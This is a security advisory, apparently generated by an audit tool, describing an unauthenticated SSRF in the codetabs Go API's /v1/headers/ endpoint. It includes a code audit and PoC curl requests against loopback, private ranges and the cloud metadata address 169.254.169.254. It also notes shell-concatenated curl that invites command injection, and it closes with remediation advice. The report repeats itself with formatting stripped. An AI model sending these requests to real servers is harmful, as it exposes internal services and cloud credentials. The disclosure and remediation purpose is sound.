Vulnerability Report: codetabs Unauthenticated SSRF Reads Internal Network HTTP Response Headers
1. Product Introduction
codetabs is a multi-functional Web API service developed in Go, providing interfaces for HTTP header retrieval, proxying, geolocation, random data generation, code statistics, and more. The /v1/headers/ endpoint fetches the response headers of a target site on behalf of the user.
2. Vulnerability Description
| Attribute |
Value |
| Vulnerability Type |
CWE-918: Server-Side Request Forgery (SSRF) |
| CVSS 3.1 |
8.6 High (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N) |
| Vulnerable File |
project/codetabs/headers/headers.go (22-76) |
| Prerequisites |
No login required, no additional privileges needed |
| Entry Point |
Unauthenticated public endpoint GET /v1/headers/?domain=<url> |
- Core Impact: An attacker can cause the server to actively access internal network or cloud metadata addresses and relay the returned HTTP response headers back to the attacker.
- Environmental Constraints: The target deployment environment must be able to access the specified internal network address or metadata address from the server side.
- Default Trigger Condition: This condition is satisfied in the default code path; the endpoint is publicly registered with no target address validation.
3. Affected Scope
- Affected Versions
- The version corresponding to the current codebase, see
var version = "0.9.4a"
- All versions that retain the same
/v1/headers/ implementation logic without adding target restrictions
- Unaffected Versions
- Versions that add protocol, host, IP range, and redirect target validation to the
domain parameter
- Trigger Conditions and Defaults
- Endpoint open by default: Yes
- Authentication required: No
- Target address must be reachable: Yes
- Supports returning target response headers to the requester: Yes
4. Vulnerability Details
4.1 Code Audit Analysis
The route is registered at mux.HandleFunc("/v1/headers/", mw(headers.Router, "headers", c)). The corresponding middleware mw() only performs additional ban checks for the proxy service; the headers endpoint has no authentication or target validation logic whatsoever.
In headers.Router(), the code directly reads user input from query parameters:
r.ParseForm()
hr.domain = r.Form.Get("domain")
if hr.domain == "" || len(path) != 2 {
u.BadRequest(w, r)
return
}
hr.doHeadersRequest(w, r)
Corresponding locations: r.ParseForm(), hr.domain = r.Form.Get("domain"), hr.doHeadersRequest(w, r).
Subsequently in doHeadersRequest(), the server directly concatenates this value into a curl command and executes it:
const curl = "curl -fsSI "
for !notMoreRedirections && count < 10 {
rawData, err := u.GenericCommandSH(curl + hr.domain)
if err != nil {
...
return
}
parseHeadString(string(rawData), &hr.headers)
if hr.headers[count]["Location"] == "" {
notMoreRedirections = true
} else {
hr.domain = hr.headers[count]["Location"]
}
count++
}
u.SendJSONToClient(w, hr.headers, 200)
Key locations:
There are no restrictions on any of the following:
- Whether the address is a public IP
- Whether the address is a loopback address
- Whether the address is an RFC1918 private network address
- Whether the address is a link-local address, such as
169.254.169.254
- Whether following redirects to internal network targets is permitted
Therefore, an attacker can craft the following request:
GET /v1/headers/?domain=http://127.0.0.1:80 HTTP/1.1
Host: target
The server will initiate a request to 127.0.0.1:80, parse the response headers, and return them to the attacker as JSON. Even without exploiting any shell metacharacters, this chain itself already satisfies the conditions for SSRF.
4.2 PoC Construction Approach
The design intent of this endpoint is to fetch remote site response headers on behalf of the user, so the domain parameter naturally enters the server-side network access logic. There are only two key points for the PoC:
- Choose a
domain parameter value controlled by the attacker to make the server access a local or internal network address.
- Check whether the response contains HTTP headers returned by the target address.
To prove this is SSRF rather than an ordinary frontend request, the PoC directly requests the target site's /v1/headers/ endpoint with domain set to:
http://127.0.0.1:80
http://169.254.169.254/latest/meta-data/
http://192.168.1.1:80
As long as the response contains the response headers corresponding to these target addresses, it proves the request was initiated by the server and the results were relayed back — no command injection or additional authentication is required.
5. Vulnerability Reproduction
5.1 Environment Setup
5.2 Reproduction Steps
Step 1: Access the suspicious endpoint and confirm parameter controllability
Access http://127.0.0.1:3000/v1/headers/?domain=http://127.0.0.1:80. The page returns a JSON result, indicating that the endpoint accepts an externally supplied domain parameter and processes the target address.

Step 2: Change domain to an internal network address
Set the domain parameter to http://127.0.0.1:80 or another internal network address and access again. The response will contain the HTTP status line and response header fields from the target address, indicating that the server has initiated a request to that address.

Step 3: Observe the returned result to confirm SSRF
The JSON returned by the page contains the response headers returned by the target service, such as Server, Content-Type, Location, or status line fields. This content was not obtained by the browser directly requesting the internal network target, but was fetched by the server on behalf of the client and relayed back.

5.3 Result Verification
| Verification Item |
Result |
Request GET /v1/headers/?domain=http://127.0.0.1:80 |
Endpoint accepts the parameter and returns JSON |
Does the server actively access 127.0.0.1 |
Yes, the target's response headers are visible in the returned result |
| Is there any target address restriction |
No, no whitelist, denylist, or private network restriction found in the code |
| Does it support following redirects |
Yes, up to 10 times, see count < 10 |
| Does it return results to the attacker |
Yes, see u.SendJSONToClient(w, hr.headers, 200) |
5.4 Attack Chain Diagram
Attacker
↓
Access /v1/headers/?domain=http://127.0.0.1:80
↓
Server reads domain parameter
↓
Server executes curl request to target address
↓
Parses HTTP response headers returned by target
↓
Serializes response headers as JSON and returns
↓
SSRF confirmed ✓
6. POC
# Directly verify whether the server accesses the local loopback address and returns response headers
curl "http://127.0.0.1:3000/v1/headers/?domain=http://127.0.0.1:80"
# Verify whether the cloud metadata address can be accessed by the server
curl "http://127.0.0.1:3000/v1/headers/?domain=http://169.254.169.254/latest/meta-data/"
# Use the Python PoC in the repository for batch verification
python poc_codetabs_headers_ssrf.py --base-url http://127.0.0.1:3000 --domain http://127.0.0.1:80
7. Remediation Recommendations
-
Do not use user input directly as the server-side request target
Fully parse the domain parameter, allow only http and https schemes, and reject bare hostnames, non-standard schemes, and malformed input.
-
Add target address access control
After resolving the domain name, validate the final IP and reject the following address ranges:
127.0.0.0/8
10.0.0.0/8
172.16.0.0/12
192.168.0.0/16
169.254.0.0/16
::1/128
fc00::/7
fe80::/10
-
Re-validate redirect targets
The current logic reads Location and continues the request. Every redirect target must be re-validated for protocol, domain, and IP — validation cannot be limited to the initial address only.
-
Do not execute network requests via shell command concatenation
Replace u.GenericCommandSH() with Go's native net/http client to avoid simultaneously introducing SSRF and potential command injection risks.
-
Add an outbound access whitelist
If the business only needs to request a limited set of target sites, configure an explicit whitelist that only allows access to trusted domain names or fixed services.
-
Fix Example
parsed, err := url.ParseRequestURI(domain)
if err != nil {
return error
}
if parsed.Scheme != "http" && parsed.Scheme != "https" {
return error
}
ips, err := net.LookupIP(parsed.Hostname())
if err != nil {
return error
}
for _, ip := range ips {
if isPrivateOrLoopback(ip) {
return error
}
}
Vulnerability Submission Evaluation Results
Vulnerability Chain Exists: Yes
Submission Determination
| Attribute |
Value |
| Vulnerability Type |
A10: Server-Side Request Forgery |
| Exploitation Method |
Unauthenticated |
| CVSS 3.1 |
8.6 (High) |
| Submit |
Yes |
Determination Basis
Based on 4.5 A10 — Server-Side Request Forgery (SSRF) and 4.5.1 SSRF Direct Impact Determination:
- "Access to internal core services (Redis/MySQL/admin panel) with response echo should be submitted", see
120
- "SSRF initiated via proxy/import functionality with response echo should be submitted", see
123
Additionally, the SSRF-specific determination in the decision flow states:
- "Able to access internal services and return data → Submit", see
210-223
Detailed Explanation
This vulnerability is an unauthenticated SSRF. An attacker can instruct the server to access internal network or cloud metadata addresses and have the returned HTTP headers echoed directly in the response. This is not a blind SSRF limited to port scanning — it already has the capability to read data returned by internal services, satisfying the high-severity SSRF criteria for submission.
Next Steps
Continue generating the complete vulnerability report.
Vulnerability Report: codetabs Unauthenticated SSRF Reads Internal Network HTTP Response Headers
1. Product Introduction
codetabsis a multi-functional Web API service developed in Go, providing interfaces for HTTP header retrieval, proxying, geolocation, random data generation, code statistics, and more. The/v1/headers/endpoint fetches the response headers of a target site on behalf of the user.2. Vulnerability Description
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N)project/codetabs/headers/headers.go(22-76)GET /v1/headers/?domain=<url>3. Affected Scope
var version = "0.9.4a"/v1/headers/implementation logic without adding target restrictionsdomainparameter4. Vulnerability Details
4.1 Code Audit Analysis
The route is registered at
mux.HandleFunc("/v1/headers/", mw(headers.Router, "headers", c)). The corresponding middlewaremw()only performs additional ban checks for theproxyservice; theheadersendpoint has no authentication or target validation logic whatsoever.In
headers.Router(), the code directly reads user input from query parameters:Corresponding locations:
r.ParseForm(),hr.domain = r.Form.Get("domain"),hr.doHeadersRequest(w, r).Subsequently in
doHeadersRequest(), the server directly concatenates this value into a curl command and executes it:Key locations:
const curl = "curl -fsSI "u.GenericCommandSH(curl + hr.domain)hr.domain = hr.headers[count]["Location"]u.SendJSONToClient(w, hr.headers, 200)There are no restrictions on any of the following:
169.254.169.254Therefore, an attacker can craft the following request:
The server will initiate a request to
127.0.0.1:80, parse the response headers, and return them to the attacker as JSON. Even without exploiting any shell metacharacters, this chain itself already satisfies the conditions for SSRF.4.2 PoC Construction Approach
The design intent of this endpoint is to fetch remote site response headers on behalf of the user, so the
domainparameter naturally enters the server-side network access logic. There are only two key points for the PoC:domainparameter value controlled by the attacker to make the server access a local or internal network address.To prove this is SSRF rather than an ordinary frontend request, the PoC directly requests the target site's
/v1/headers/endpoint withdomainset to:http://127.0.0.1:80http://169.254.169.254/latest/meta-data/http://192.168.1.1:80As long as the response contains the response headers corresponding to these target addresses, it proves the request was initiated by the server and the results were relayed back — no command injection or additional authentication is required.
5. Vulnerability Reproduction
5.1 Environment Setup
codetabs0.9.4ahttp://127.0.0.1:3000/poc_codetabs_headers_ssrf.py5.2 Reproduction Steps
Step 1: Access the suspicious endpoint and confirm parameter controllability
Access
http://127.0.0.1:3000/v1/headers/?domain=http://127.0.0.1:80. The page returns a JSON result, indicating that the endpoint accepts an externally supplieddomainparameter and processes the target address.Step 2: Change
domainto an internal network addressSet the
domainparameter tohttp://127.0.0.1:80or another internal network address and access again. The response will contain the HTTP status line and response header fields from the target address, indicating that the server has initiated a request to that address.Step 3: Observe the returned result to confirm SSRF
The JSON returned by the page contains the response headers returned by the target service, such as
Server,Content-Type,Location, or status line fields. This content was not obtained by the browser directly requesting the internal network target, but was fetched by the server on behalf of the client and relayed back.5.3 Result Verification
GET /v1/headers/?domain=http://127.0.0.1:80127.0.0.1count < 10u.SendJSONToClient(w, hr.headers, 200)5.4 Attack Chain Diagram
6. POC
# Use the Python PoC in the repository for batch verification python poc_codetabs_headers_ssrf.py --base-url http://127.0.0.1:3000 --domain http://127.0.0.1:807. Remediation Recommendations
Do not use user input directly as the server-side request target
Fully parse the
domainparameter, allow onlyhttpandhttpsschemes, and reject bare hostnames, non-standard schemes, and malformed input.Add target address access control
After resolving the domain name, validate the final IP and reject the following address ranges:
127.0.0.0/810.0.0.0/8172.16.0.0/12192.168.0.0/16169.254.0.0/16::1/128fc00::/7fe80::/10Re-validate redirect targets
The current logic reads
Locationand continues the request. Every redirect target must be re-validated for protocol, domain, and IP — validation cannot be limited to the initial address only.Do not execute network requests via shell command concatenation
Replace
u.GenericCommandSH()with Go's nativenet/httpclient to avoid simultaneously introducing SSRF and potential command injection risks.Add an outbound access whitelist
If the business only needs to request a limited set of target sites, configure an explicit whitelist that only allows access to trusted domain names or fixed services.
Fix Example
Vulnerability Submission Evaluation Results
Vulnerability Chain Exists: Yes
Submission Determination
Determination Basis
Based on
4.5 A10 — Server-Side Request Forgery (SSRF)and4.5.1 SSRF Direct Impact Determination:120123Additionally, the SSRF-specific determination in the decision flow states:
210-223Detailed Explanation
This vulnerability is an unauthenticated SSRF. An attacker can instruct the server to access internal network or cloud metadata addresses and have the returned HTTP headers echoed directly in the response. This is not a blind SSRF limited to port scanning — it already has the capability to read data returned by internal services, satisfying the high-severity SSRF criteria for submission.
Next Steps
Continue generating the complete vulnerability report.